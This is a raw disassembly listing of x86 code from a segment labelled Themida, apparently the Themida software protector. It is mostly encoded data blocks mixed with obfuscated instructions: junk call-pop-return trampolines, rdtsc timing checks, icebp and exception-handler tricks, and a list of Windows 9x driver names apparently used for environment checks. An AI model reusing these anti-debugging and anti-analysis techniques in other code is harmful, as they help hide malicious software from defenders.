		dd 3AABEAC5h, 0BE44AAB5h, 0AF50FC9Dh, 905EC271h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0C6C35646h, 0E3FD793Ch
		dd 8BFC84A9h, 602C2444h, 6E9h, 5D297D00h, 0E9946FD5h, 10h
		dd 0B67BCBA5h, 82EAC245h, 0E55BDC02h, 9847D953h, 0AE95061h
		dd 5000000h, 0E9707A37h, 9E01FCFCh, 24048904h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0E3C35545h, 858DA3B0h
		dd 7D47DBBh, 0D99D8B60h, 6107D119h, 0E960D0FFh,	10h, 9FDFB996h
		dd 3155BE4Ch, 7FC03920h, 9A592E33h, 177D8589h, 36107D1h
		dd 0FC282444h, 0FF5EFCABh, 0D4A6CA8Dh, 0CABD8307h, 7D4A6h
		dd 0C0330A75h, 0B6AAB58Dh, 0E6FF07D4h, 7C81AD56h, 2824h
		dd 0E771000h, 24448B50h, 858D502Ch, 7D47DBBh, 4403D0FFh
		dd 8B972824h, 0C6858ADFh, 8407D4A6h, 3A0474C0h,	574C7507h
		dd 75AEC032h, 0FB2B5EFDh, 0C933FC52h, 33D18B49h, 0ACDB33C0h
		dd 0CD8AC132h, 0D68AEA8Ah, 0D16608B6h, 0D8D166EBh, 35660973h
		dd 81665041h, 0FE5449F3h, 33EB75CEh, 4FD333C8h,	0D2F7D575h
		dd 0C28BD1F7h, 6610C0C1h, 3B5AC18Bh, 5E0F74D0h,	0FF04C683h
		dd 0D12EA985h, 0FF5DE907h, 0F85EFFFFh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 0B3C35545h,	7123FAC3h, 0E94995EEh
		dd 16959D89h, 950907D1h, 7D1336Dh, 2EA9858Bh, 8D2907D1h
		dd 7D12745h, 0BD01E0D1h, 7D1164Dh, 78D0Fh, 8D0F0000h, 1
		dd 0C18503F9h, 6A07D110h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 3A20C351h, 223CA15Ch
		dd 6AF62B79h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 2B29C355h, 5AF1356Dh, 0B5892CA6h
		dd 7D12081h, 68D0F96h, 1000000h, 0D10FF585h, 6AAD6607h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 5DADC355h, 14820F31h, 0E9000000h,	0Fh, 0BC386D14h
		dd 0BBA835Ah, 93365EE8h, 0F83307D9h, 6A02E0C1h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 564FC350h, 3193F24Eh, 0D12EB995h, 0D9952907h, 307D115h
		dd 0D1310585h, 53006A07h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 2F75902Ah, 606BA75Fh
		dd 2F118509h, 8B6607D1h, 899661C7h, 0D11E21BDh,	9D89AD07h
		dd 7D11965h, 159D8B60h,	8B07D125h, 7C8161DAh, 2424h, 870F1000h
		dd 0EFh, 0E880Fh, 8B600000h, 0D1005995h, 89958B07h, 6107D100h
		dd 11E990h, 5380000h, 183FCECCh, 50710DF2h, 531DF64Ah
		dd 50A0BE71h, 0C38B6660h, 0FF59061h, 189h, 448BFC00h, 6A2824h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 0BD797CC3h, 0F90F9CAh, 1588h, 0F8F0F00h, 0E9000000h
		dd 0Ah,	6D0FA743h, 950C8591h, 6050FE7Fh, 0F60C58Ah, 80h
		dd 32B96600h, 906161F9h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Bh, 0D8C35141h, 98E8F518h, 0E9CDCB57h, 8
		dd 0D858443Ch, 906470BFh, 7DBB858Dh, 6A07D4h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 0DBEB4C3h
		dd 3F07D5E5h, 0FFF8F5DBh, 0DBD29D0h, 307D133h, 6A242444h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 0E766C352h, 95E409C1h, 6037C447h,	0F18D09FCh
		dd 6107D120h, 1C244489h, 16419D09h, 85C607D1h, 7D131B5h
		dd 4085C700h, 7D4A8h, 0C7000000h, 0D4A6CE85h, 7, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 810F893Eh, 7, 1820Fh, 0F8F80000h, 14CD8529h,	6A6107D1h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 0C663C355h, 571F87D7h, 80576088h,	0E95E19F7h
		dd 0Ch,	8F15EFA5h, 42725498h, 8AC75DD3h, 0C99D0961h, 0C207D107h
		dd 6A0008h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
		dd 56460000h, 8BBF4DC3h, 0D1310585h, 89850907h,	4A07D129h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 91C35141h
		dd 0D26BFCABh, 0C5852904h, 2907D110h, 0D11FA1B5h, 60C20307h
		dd 5CD9D89h, 0F38107D1h, 2D67454Dh, 6A9661h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0D701EC3h
		dd 2627DB77h, 0F9CDCFE1h, 0D9B589ADh, 8107D12Bh, 24247Ch
		dd 0F100000h, 0FB87h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 4A619D35h, 0CE9052Dh
		dd 25000000h, 0FA55919Dh, 0AF8BC0C5h, 90726E42h, 0EE960h
		dd 18E10000h, 222AB0F4h, 7F34C727h, 6A6B4907h, 10E9h, 0AE5A000h
		dd 0FCFB8351h, 44C48616h, 30C064A0h, 0F5061D4h,	0A8Bh
		dd 8F0F6000h, 0
; ---------------------------------------------------------------------------
		mov	edx, edi
		popa
		nop
		jle	loc_5C1EA4
		pusha
		pusha
		popa
		add	[ebp+7D13375h],	eax
		popa


loc_5C1EA4:				; CODE XREF: Themida_:005C1E94j
		pusha
		sub	dx, 0FCEEh
		mov	ecx, [ebp+7D1230Dh]
		popa
		mov	eax, [esp+28h]
		push	0
		push	eax
		call	sub_5C1EC0
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C1EC0	proc near		; CODE XREF: Themida_:005C1EB8p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_5C1EC0	endp

; ---------------------------------------------------------------------------
		dd 93F24E56h, 0E311C5D5h, 0EE9h, 0D880CD00h, 408BE317h
		dd 0DDAA044Fh, 89A40EA9h, 0D11DE5BDh, 8B605007h, 0C68B57F7h
		dd 489615Ah, 0DD858924h, 8D07D12Eh, 0D47DBB85h,	8B666007h
		dd 0C68B66DEh, 0E9D0FF61h, 8, 1B78B48h,	77EA9987h, 0FFFD92E9h
		dd 218D09FFh
; ---------------------------------------------------------------------------
		xor	edx, ecx
		pop	es


loc_5C1F2B:				; CODE XREF: Themida_:loc_5C0D10j
		lea	eax, [ebp+7D4BC77h]
		jmp	loc_5C1F40
; ---------------------------------------------------------------------------
		movsb
		push	cs
		cmp	[esi+7Ch], esi
		nop
		mov	bh, 6Ch
		dec	edx
		dec	edx


loc_5C1F40:				; CODE XREF: Themida_:005C1F31j
		push	eax
		pusha
		jmp	loc_5C1F56
; ---------------------------------------------------------------------------
		db 50h
		dd 21215D1Dh, 0B806503Dh, 0D23AF621h
		db 0D3h, 0ADh
; ---------------------------------------------------------------------------


loc_5C1F56:				; CODE XREF: Themida_:005C1F42j
		js	loc_5C1F62
		push	eax
		push	edx
		rdtsc
		pop	edx
		pop	eax


loc_5C1F62:				; CODE XREF: Themida_:loc_5C1F56j
		popa
		mov	[esp], eax
		stc
		push	large dword ptr	fs:0
		push	0
		push	eax
		call	sub_5C1F79
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C1F79	proc near		; CODE XREF: Themida_:005C1F71p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_5C1F79	endp

; ---------------------------------------------------------------------------
		rcr	byte ptr [ebp-4A76AD52h], 1
		sbb	[ecx], esi
		rol	dword ptr [edi], 1
		jmp	loc_5C1FA3
; ---------------------------------------------------------------------------
		dd 3A316F38h, 57E075D3h
		db 63h,	15h, 5Bh
; ---------------------------------------------------------------------------


loc_5C1FA3:				; CODE XREF: Themida_:005C1F93j
		mov	eax, [esp]
		push	0
		push	ecx
		call	sub_5C1FB1
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C1FB1	proc near		; CODE XREF: Themida_:005C1FA9p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 15h
		inc	ecx
		push	ecx
		retn
sub_5C1FB1	endp

; ---------------------------------------------------------------------------
		icebp
		mov	word ptr [ecx],	cs
		xchg	eax, ebp
		xchg	eax, ebp
		sbb	edx, ecx
		pop	es
		mov	[ebp+7D116EDh],	eax
		push	0
		push	esi
		call	sub_5C1FDA
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C1FDA	proc near		; CODE XREF: Themida_:005C1FD2p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_5C1FDA	endp

; ---------------------------------------------------------------------------
		dw 5F9Ah
; ---------------------------------------------------------------------------
		clc
		stosd
		mov	al, 0DBh
		pop	esi
		mov	large fs:0, esp
		push	0
		push	edi
		call	sub_5C2003
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C2003	proc near		; CODE XREF: Themida_:005C1FFBp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_5C2003	endp

; ---------------------------------------------------------------------------
		jmp	short loc_5C205A
; ---------------------------------------------------------------------------
		db 0E5h, 9Dh, 0D1h
		dd 26BEFFFEh, 0BA56858Dh, 6A07D4h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 7FDD78C3h, 9D8B6076h
		dd 7D12F69h, 0BE9h, 31811700h, 1960C0B4h, 0B9BA7973h
		db 61h,	89h
; ---------------------------------------------------------------------------


loc_5C205A:				; CODE XREF: Themida_:005C2013j
		pusha
		add	[ecx-2EFF4663h], ecx
		pop	es
		jmp	loc_5C22E2
; ---------------------------------------------------------------------------
		jmp	loc_5C2080
; ---------------------------------------------------------------------------
		fistp	dword ptr [edi-4Dh]
		fcomp	qword ptr [edx+4B98ECBBh]
		jmp	dword ptr [ebp-339CFFD9h]
; ---------------------------------------------------------------------------
		align 4
		dd 507EE667h
; ---------------------------------------------------------------------------


loc_5C2080:				; CODE XREF: Themida_:005C2067j
		sub	[ebp+7D10F91h],	ebx
		mov	ebx, ebx
		call	$+5
		pop	ebp
		sub	ebp, 7D4BA4Fh
		mov	esp, 12FF9Ch
		cmp	dword ptr [ebp+7D12E45h], 0
		jz	short loc_5C20BA
		mov	eax, [ebp+7D11E25h]
		mov	byte ptr [eax],	0
		mov	eax, [ebp+7D12021h]
		mov	byte ptr [eax],	0
		call	dword ptr [ebp+7D13091h]


loc_5C20BA:				; CODE XREF: Themida_:005C20A0j
		pusha
		push	dword ptr [ebp+7D4A2D2h]
		lea	eax, [ebp+7D4A2D6h]
		push	eax
		lea	eax, [ebp+7D4A4CEh]
		push	eax
		call	dword ptr [ebp+7D100B5h]
		add	esp, 0Ch
		popa
		mov	[ebp+7D118B1h],	esi
		pusha
		sbb	bx, 991Fh
		jmp	loc_5C20F7
; ---------------------------------------------------------------------------
		dw 0C2E5h
; ---------------------------------------------------------------------------
		dec	edx
		shl	byte ptr [esi-5AF1A7D6h], 0
		jno	short near ptr loc_5C2140+3
		pop	es


loc_5C20F7:				; CODE XREF: Themida_:005C20E5j
		popa
		push	0
		push	eax
		call	sub_5C2103
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C2103	proc near		; CODE XREF: Themida_:005C20FBp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_5C2103	endp

; ---------------------------------------------------------------------------
		db 6Bh
		dd 609EC6A8h, 68A0Fh, 95890000h, 7D10741h, 16F1858Bh, 8D6107D1h
		dd 0D4A4CEB5h, 15820F07h, 0E9000000h, 10h, 400D5BC4h
; ---------------------------------------------------------------------------


loc_5C2140:				; CODE XREF: Themida_:005C20F4j
		xor	[ebp-11447347h], esp
		jmp	fword ptr [esi]
; ---------------------------------------------------------------------------
		sub	eax, 8D633A61h
		mov	ebp, 7D10CCDh
		push	0
		push	edx
		call	sub_5C215D
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C215D	proc near		; CODE XREF: Themida_:005C2155p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_5C215D	endp

; ---------------------------------------------------------------------------
		db 58h,	0B1h, 9Eh
		dd 0A17877B4h, 608D1D00h, 2BE1BD8Bh, 0DE907D1h,	4000000h
		dd 95C641ADh, 0E6C1BAF1h, 2D5BA420h, 3E8061h, 52840Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 43343BC3h, 0F122C414h, 55BD2929h,	0A407D121h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 7C35747h
		dd 0F4FBBB67h, 0A6E9F5F5h, 0F9FFFFFFh, 0B8h, 8E900h, 55FD0000h
		dd 1A749BFEh, 8F0F93B4h, 0Ch, 6860Fh, 860F0000h, 0
; ---------------------------------------------------------------------------
		stosb
		push	0
		push	edi
		call	sub_5C221C
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C221C	proc near		; CODE XREF: Themida_:005C2214p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_5C221C	endp

; ---------------------------------------------------------------------------
		enter	0FFFF8B60h, 0B5h
		inc	ecx
		xor	al, 0D1h
		pop	es
		push	ecx
		stc
		pop	edi
		popa
		jmp	loc_5C2249
; ---------------------------------------------------------------------------
		icebp
		inc	esp
		jmp	dword ptr [eax+ebx*8-63E8D495h]
; ---------------------------------------------------------------------------
		dw 58B7h
		db 15h
; ---------------------------------------------------------------------------


loc_5C2249:				; CODE XREF: Themida_:005C2238j
		mov	eax, 7
		mov	[ebp+7D11A19h],	ecx
		mov	dword ptr [ebp+7D13149h], 1
		jz	loc_5C2272
		pusha
		mov	[ebp+7D11D29h],	esi
		mov	edi, [ebp+7D116A5h]
		popa


loc_5C2272:				; CODE XREF: Themida_:005C225Ej
		lea	ecx, [ebp+7D14D0Ah]
		push	0
		push	ebp
		call	sub_5C2283
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C2283	proc near		; CODE XREF: Themida_:005C227Bp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_5C2283	endp

; ---------------------------------------------------------------------------
		mov	al, ds:8D89FD0Eh
		jge	short loc_5C22C4
		rol	dword ptr [edi], 1
		jmp	ecx
; ---------------------------------------------------------------------------
		jmp	loc_5C22B5
; ---------------------------------------------------------------------------
		db 0FDh
		dd 3DB6C30Fh, 0BC8E33DFh, 0D13CDED0h, 0F5D981EFh
		db 0FFh
; ---------------------------------------------------------------------------


loc_5C22B5:				; CODE XREF: Themida_:005C229Ej
		mov	ebx, [esp+0Ch]
		push	ebp
		call	$+5
		pop	ebp
; ---------------------------------------------------------------------------
		dd 0BC81ED81h
; ---------------------------------------------------------------------------


loc_5C22C4:				; CODE XREF: Themida_:005C2298j
		aam	7
		mov	eax, [ebx+0B8h]
		mov	[ebp+7D4A2D2h],	eax
		lea	eax, [ebp+7D4BA48h]
		mov	[ebx+0B8h], eax
		pop	ebp
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_5C22E2:				; CODE XREF: Themida_:005C2062j
		push	0
		push	ecx
		call	sub_5C22ED
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C22ED	proc near		; CODE XREF: Themida_:005C22E5p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_5C22ED	endp

; ---------------------------------------------------------------------------
		db 0A6h, 0FDh, 0BAh
		dd 0FA080C5h, 0C81h, 6880F00h, 31000000h, 0D127618Dh, 57006A07h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 58D0198h, 6007D125h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 0ABC35747h, 0F9AE72C8h, 0D21F5C18h, 0DBBF0F60h
		dd 612EF180h, 0BE23858Dh, 0BD8907D4h, 7D11069h,	0E9525050h
		dd 0Ah,	0A781357Dh, 4C1DF96Dh, 310F2234h, 0BE9h, 0BB6F4200h
		dd 5DDDB6A3h, 48C48A61h, 489585Ah, 0FF64F924h, 35h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 17249DF6h, 2589648Fh, 0
; ---------------------------------------------------------------------------
		pusha
		add	cx, 0E556h
		or	[ebp+7D12865h],	edx
		popa
		lea	eax, [ebp+7D4BEA4h]
		pusha
		stc
		mov	bx, 5668h
		popa
		mov	[eax+1], esp
		mov	[ebp+7D1334Dh],	ecx
		mov	byte ptr [ebp+7D131B5h], 4Fh
		mov	[ebp+7D10FADh],	edi
		pusha
		sbb	al, 7Ah
		movsx	eax, di
		popa
		push	8E69288Dh
		jmp	loc_5C2413
; ---------------------------------------------------------------------------
		dw 376Bh
		db 90h
		db 0B8h, 0BBh, 4Ah
		db 0CFh, 9Ch, 0CFh
; ---------------------------------------------------------------------------


loc_5C2413:				; CODE XREF: Themida_:005C2405j
		add	dword ptr [esp], 705F4B9Dh
		mov	[ebp+7D119ADh],	esi
		push	dword ptr [ebp+7D10831h]
		cmc
		lea	eax, [ebp+7D4A6EAh]
		or	[ebp+7D122D9h],	eax
		call	eax
		pusha
		jmp	loc_5C2440
; ---------------------------------------------------------------------------
		db 0ECh
		dd 75F39Fh
; ---------------------------------------------------------------------------


loc_5C2440:				; CODE XREF: Themida_:005C2436j
		or	[ebp+7D12EFDh],	esi
		popa
		sub	[ebp+7D130C1h],	ecx
		jmp	loc_5C24E2
; ---------------------------------------------------------------------------
		pusha
		jmp	loc_5C245F
; ---------------------------------------------------------------------------
		dd 0D12C9C3Eh
		db 7Fh,	0DAh, 93h
; ---------------------------------------------------------------------------


loc_5C245F:				; CODE XREF: Themida_:005C2453j
		clc
		popa
		mov	ebx, [esp+0Ch]
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 7D4BE2Dh
		mov	eax, [ebp+7D11CC9h]
		mov	[ebp+7D10831h],	eax
		mov	eax, [ebp+7D130F9h]
		mov	[ebp+7D12C01h],	eax
		mov	eax, [ebp+7D12D09h]
		mov	[ebp+7D106B9h],	eax


loc_5C2496:				; CODE XREF: Themida_:005C24DAj
		mov	byte ptr [ebp+7D131B5h], 0
		mov	dword ptr [ebp+7D4A840h], 0
		lea	eax, [ebp+7D4BEA4h]
		mov	[ebx+0B8h], eax
		pop	ebp
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		mov	[ebp+7D118A9h],	ebx
		clc
		push	0
		push	edx
		call	sub_5C24C9
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C24C9	proc near		; CODE XREF: Themida_:005C24C1p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_5C24C9	endp

; ---------------------------------------------------------------------------
		pop	esp
		jb	short loc_5C2496
		les	esp, [eax+66h]
		mov	ebx, eax
		popa


loc_5C24E2:				; CODE XREF: Themida_:005C244Dj
		mov	esp, 12FF74h
		jmp	loc_5C24F6
; ---------------------------------------------------------------------------
		and	ch, [eax]
		lds	esi, [esi]
		or	[ebp+358B96BDh], ch


loc_5C24F6:				; CODE XREF: Themida_:005C24E7j
		pop	large dword ptr	fs:0
		xor	[ebp+7D1161Dh],	eax
		add	esp, 4
		pusha
		clc
		adc	edx, 6B8DC762h
		popa
		popa
		jmp	short loc_5C2546
; ---------------------------------------------------------------------------
aIfsmgrVkdVmmVw	db 'IFSMGR  VKD     VMM     VWIN32  VXDLDR  ',0
		align 4
		dd 2 dup(0)
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5C2546:				; CODE XREF: Themida_:005C2510j
		jmp	loc_5C2C26
; ---------------------------------------------------------------------------
		jno	loc_5C2557
		pusha
		mov	di, 0C1D7h
		popa


loc_5C2557:				; CODE XREF: Themida_:005C254Bj
		pusha
		push	0
		push	edi
		call	sub_5C2563
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C2563	proc near		; CODE XREF: Themida_:005C255Bp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 19h
		inc	edi
		push	edi
		retn
sub_5C2563	endp

; ---------------------------------------------------------------------------
		db 0Ch
		dd 0A810F0E9h, 0FC85C775h, 7D4BEh, 0F000000h, 0B8Bh, 0C8816000h
		dd 4C7905B9h, 61D1B70Fh, 0FF5C68Bh, 6AD8B7h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 150424h, 57470000h, 0FCFB0C3h
		dd 1188h, 0CE900h, 48190000h, 23EF63D1h, 17C8B694h, 0E8C19A13h
		dd 51006A10h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 363A92B0h, 0C8C166D7h, 0EE908h, 0C0AA0000h
		dd 2052B746h, 63BA2B90h, 0E529954Eh, 0BF008589h, 6A07D4h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 6613BCC3h, 6A08CBC1h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 5E09C353h, 5E960h
		dd 66350000h, 619BFCEEh, 0F40FB83h, 6E85h, 0A4B46000h
		dd 5E8h, 64C42600h, 5F5775B4h, 0BD8D6158h, 7D4BED4h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0FC35141h, 0ED8060A1h
		dd 0E1816657h, 0E96118E8h, 1C6h, 0E855006Ah, 3,	5DC35D20h
		dd 4246C89h, 4244481h, 18h, 8AC35545h, 88509F13h, 54CB8060h
		dd 0B443CB81h, 83610369h, 850F0DFBh, 8Dh, 7E9h,	0C23A0600h
		dd 0C6E15F99h, 0E6816660h, 8A0FEC71h, 2, 8D61D08Bh, 0D4BEDCBDh
		dd 56006A07h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 73A8D9Ah, 60998BDAh, 0DE8h, 8263CE00h, 255AF681h
		dd 4B190822h, 8A0F4FEEh, 0
; ---------------------------------------------------------------------------
		pop	esi
		and	cx, 0C355h
		popa
		jmp	loc_5C286A
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_5C274B
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C274B	proc near		; CODE XREF: Themida_:005C2743p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ch
		inc	ecx
		push	ecx
		retn
sub_5C274B	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0A160B80Fh, 5F19B418h, 1FB83F8h, 62850Fh, 0E9600000h
		dd 11h,	22D9F4BFh, 889FFBB4h, 0FE256E1Fh, 0F3C6F7EBh, 0BD8D6172h
		dd 7D4BEE4h, 7E960h, 411C0000h,	5482FC27h, 0CBE9613Ch
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 0A102C355h, 0E81108AAh, 693B5CD4h
		dd 6800Fh, 60600000h, 61616061h, 0F2AFB83h, 6585h, 8E900h
		dd 89DF0000h, 0FAC3B3F4h, 0BD8D7123h, 7D4BEECh,	14E9h
		dd 18C58200h, 35E14C58h, 0A148095Dh, 13E7D8F0h,	76F2432Ah
		dd 60E907h, 6A0000h, 3E857h, 5F200000h,	7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 0CF0412C3h, 0D4011236h, 608F9BC7h
		dd 2840Fh, 5F510000h, 0D98B6651h, 0FB836158h, 34850F27h
		dd 0F9000002h, 0BEF4BD8Dh, 6A07D4h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 140424h, 53430000h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 15h
; ---------------------------------------------------------------------------


loc_5C286A:				; CODE XREF: Themida_:005C273Bj
		mov	[ebp+7D4BF04h],	edi
		cmc
		mov	ax, cs
		pusha
		mov	esi, edx
		stc
		popa
		and	al, 3
		pusha
		sbb	bx, 0C986h
		mov	ebx, edx
		popa
		or	al, al
		jnz	loc_5C2A33
		push	0
		push	ecx
		call	sub_5C2897
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C2897	proc near		; CODE XREF: Themida_:005C288Fp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 17h
		inc	ecx
		push	ecx
		retn
sub_5C2897	endp

; ---------------------------------------------------------------------------
		jle	short near ptr loc_5C28B5+1
		and	eax, 0B58DFC1Bh
		aam	0C4h
		aam	7
		push	0
		push	edi


loc_5C28B5:				; CODE XREF: Themida_:005C28A7j
		call	sub_5C28BD
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C28BD	proc near		; CODE XREF: Themida_:loc_5C28B5p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Bh
		inc	edi
		push	edi
		retn
sub_5C28BD	endp

; ---------------------------------------------------------------------------
		aam	0CFh
		push	es
		dec	ebp
		push	esi
		mov	esp, 8BF56058h
		test	[esi-3Bh], esp
		aam	7
		push	0
		push	edx
		call	sub_5C28E7
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C28E7	proc near		; CODE XREF: Themida_:005C28DFp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_5C28E7	endp

; ---------------------------------------------------------------------------
		db 99h
		dd 0F6A69413h, 8A0F92F9h, 6, 60616060h,	50506161h, 11E952h
		dd 7D650000h, 0BCE09465h, 3324F922h, 85E6CCBDh,	0FB8759Bh
		dd 0F525031h, 8Dh, 0E9310F00h, 0Bh, 50588C88h, 3C7FE36Bh
		dd 5A3D94E0h, 92585A58h, 0DE805760h, 0BF0F5876h, 10F61D9h
		dd 0F9FE244Ch, 53006A5Ah, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 3AFF272h, 0FE2BAC8h, 0B87h
		dd 6E900h, 18790000h, 3033C9DCh, 6A24C283h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 66EBC356h
		dd 0FFC7289h, 180h, 0CEC1FC00h,	55006A10h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 8966FC61h
		dd 810F0272h, 17h, 118E0Fh, 0CE90000h, 28000000h, 4F220240h
		dd 93F24E56h, 0CD11C5D5h, 53006A04h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 14D0D2F9h
		dd 0E9F5F893h, 58h, 7870Fh, 8F0F0000h, 1, 816060FCh, 0AEA5E0DAh
		db 73h,	2 dup(61h)
; ---------------------------------------------------------------------------


loc_5C2A33:				; CODE XREF: Themida_:005C2886j
		mov	eax, [ebp+7D4C566h]
		jge	loc_5C2A45
		pusha
		stc
		movzx	edx, bx
		popa


loc_5C2A45:				; CODE XREF: Themida_:005C2A39j
		lea	esi, [ebp+7D4C4D4h]
		jmp	loc_5C2A64
; ---------------------------------------------------------------------------
		dd 81B0D197h, 0CC169214h, 5F1D4AB1h, 0ECA7CA85h, 0B0D04EE4h
; ---------------------------------------------------------------------------


loc_5C2A64:				; CODE XREF: Themida_:005C2A4Bj
		lea	eax, [ebp+7D47D21h]
		clc
		call	eax
		pusha
		xor	si, 4D59h
		popa
		mov	[ebp+7D4BEFCh],	eax
		stc
		popa
		push	0
		push	eax
		call	sub_5C2A87
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C2A87	proc near		; CODE XREF: Themida_:005C2A7Fp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_5C2A87	endp

